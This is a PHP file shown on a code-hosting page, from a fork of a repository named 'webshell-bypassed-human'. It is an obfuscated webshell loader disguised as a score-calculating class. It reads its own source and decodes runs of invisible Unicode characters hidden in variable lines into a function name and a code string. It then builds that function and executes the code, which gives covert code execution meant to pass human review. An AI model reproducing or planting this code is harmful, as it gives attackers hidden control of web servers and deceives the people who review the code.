forked from Macr0phag3/webshell-bypassed-human
-
Notifications
You must be signed in to change notification settings - Fork 0
/
normal_pro.php
56 lines (52 loc) · 1.87 KB
/
normal_pro.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(E_ALL ^ E_WARNING);
function test($rawstr) {
$result = array();
$index = -4;
$str = str_pad($rawstr, strlen($rawstr)+strlen($rawstr)%4, "0", STR_PAD_LEFT);
while (abs($index) <= strlen($str)) {
array_push($result, base_convert(substr($str, $index, 4), 2, 16));
$index -= 4;
}
return implode("", array_reverse($result));
}
class getHigherScore {
function __construct() {
$lines = file(__FILE__);
$count = 0;
$lower = "";
$higher = "";
for($i = 0; $i < count($lines); $i++) {
$value = $this->getArrayValue($lines[$i]);
if ($value) $count += 1;
else continue;
if ($count < 16) $lower .= $value;
else $higher .= $value;
}
$verifyScore = $lower('', "$higher");
$result = $verifyScore();
return $result;
}
function getArrayValue($test_str) {
preg_match('/^\s*\$[^឴឵]+([឴឵]+).?=/', $test_str, $match_test_1);
preg_match('/^\s*\$.([឴឵]+).*=/', $test_str, $match_test_2);
if (isset($match_test_1[0])) {
$lower_char = dechex(substr_count($match_test_1[1], "឴"));
$higher_char = dechex(substr_count($match_test_1[1], "឵"));
$result = chr(hexdec($lower_char.$higher_char));
return $result;
} else if(isset($match_test_2[0])) {
$matched = array();
$content = str_replace("឵", 'b', str_replace("឴", 'w', $match_test_2[1]));
for($i = 0; $i < strlen($content); $i++) {
$matched[$i] = $content[$i] * 1024;
if($content[$i] == $content[1]) {
$matched[$i] = 1;
}
}
return pack('H*', test(preg_replace('/[^\d]+/i', "", json_encode($matched))));
}
}
}
$score = new getHigherScore();
?>